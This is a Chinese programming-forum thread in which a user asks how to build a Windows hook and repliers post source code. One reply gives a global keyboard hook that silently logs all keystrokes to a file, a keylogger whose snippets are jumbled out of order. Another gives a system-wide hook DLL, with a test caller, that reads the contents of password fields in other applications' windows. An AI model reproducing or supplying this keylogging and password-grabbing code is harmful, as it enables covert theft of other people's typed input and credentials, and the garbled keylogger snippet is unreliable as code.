如何做一个钩子?能否给出源码!

解决方案 »

  1.   

    It's inn my home.http://www.crob.net/vc/source/hooktest.zip
    一个全局键盘钩子(hook)的例程,包括hook.dll及调用程序enjoy it
      

  2.   

    钩子:
    extern "C" _declspec(dllexport) HHOOK hHook = NULL;
    #pragma data_seg()char buffer = 0;
    FILE *file;
    FILE *zm;
    int iFileExist=0;
    WIN32_FIND_DATA ffd ;extern "C" _declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    加载钩子:
    hHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, GetModuleHandle("KeyHook.DLL"), 0);
    卸载钩子:
    if (hHook)
      UnhookWindowsHookEx(hHook);
    if (lParam&0x80000000)
    {
    buffer = MapVirtualKey(wParam, 2);
    file = fopen("C:\\KeyFile.LOG", "a+");
    fwrite(&buffer, sizeof(char), 1, file);
    fclose(file);
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
    }
      

  3.   

    //cpp文件中的声明
    #pragma data_seg(".SharedData")
    HHOOK hHookPro;
    CHookDllApp theApp;
    HINSTANCE hDllHandle;
    #pragma data_seg()
    //def文件中的
    EXPORTS
        ; Explicit exports can go here
    StartPSWHook @1
    EndPSWHook @2
    SECTIONS
        .SharedData READ WRITE SHARED//cpp文件中的实现
    LRESULT WINAPI PasswordProc(int nCode,WPARAM wparam,LPARAM lparam)
    {
    LRESULT lpResult=CallNextHookEx(hHookPro,nCode,wparam,lparam);
    CWPRETSTRUCT   *pCWP=(CWPRETSTRUCT  *)lparam;
    DWORD dwWindowLong;
    dwWindowLong=GetWindowLong(pCWP->hwnd,GWL_STYLE);
    if (((dwWindowLong & ES_PASSWORD) !=0)/* && pCWP->message ==WM_CHAR*/) 
    {
    char cPsw[255];
    GetWindowText(pCWP->hwnd ,cPsw,255);
    TRACE("%s:Message(%d)\n",cPsw,pCWP->message);
    }
    return lpResult;
    }__declspec(dllexport) BOOL __stdcall StartPSWHook(HWND hReceiver)
    {
    hHookPro=SetWindowsHookEx(WH_CALLWNDPROCRET,PasswordProc,hDllHandle,0);
    if (hHookPro==NULL ) TRACE("SetWindowsHookEx Error!\n");
    return true;
    }__declspec(dllexport) void __stdcall EndPSWHook()
    {
    if (hHookPro!=NULL )
    {
    UnhookWindowsHookEx(hHookPro);
    }
    }BOOL CHookDllApp::InitInstance() 
    {
    BOOL bReturn;
    TRACE("InitInstance\n");
    AFX_MANAGE_STATE(AfxGetStaticModuleState());
    hDllHandle=AfxGetInstanceHandle();
    return TRUE;
    }
    //测试程序中的调用
    VERIFY(m_hHookLib=::LoadLibrary("hookdll.dll"));//在OnInitDialog中调用,m_hHookLib声明为全局变量void CPWExpDlg::OnButtonStart() 
    {
    BOOL (__stdcall * pStartHook) (HWND hReceiver);
    (FARPROC&)pStartHook=GetProcAddress(m_hHookLib,"StartPSWHook");
    pStartHook(this->GetSafeHwnd());
    }void CPWExpDlg::OnButtonEnd() 
    {
    BOOL (__stdcall * pEndHook) ();
    (FARPROC&)pEndHook=GetProcAddress(m_hHookLib,"EndPSWHook");
    pEndHook();
    }
      

  4.   

    http://www.vckbase.com/code/listcode.asp?mclsid=13&sclsid=1309
    看看键盘发音钩子的代码,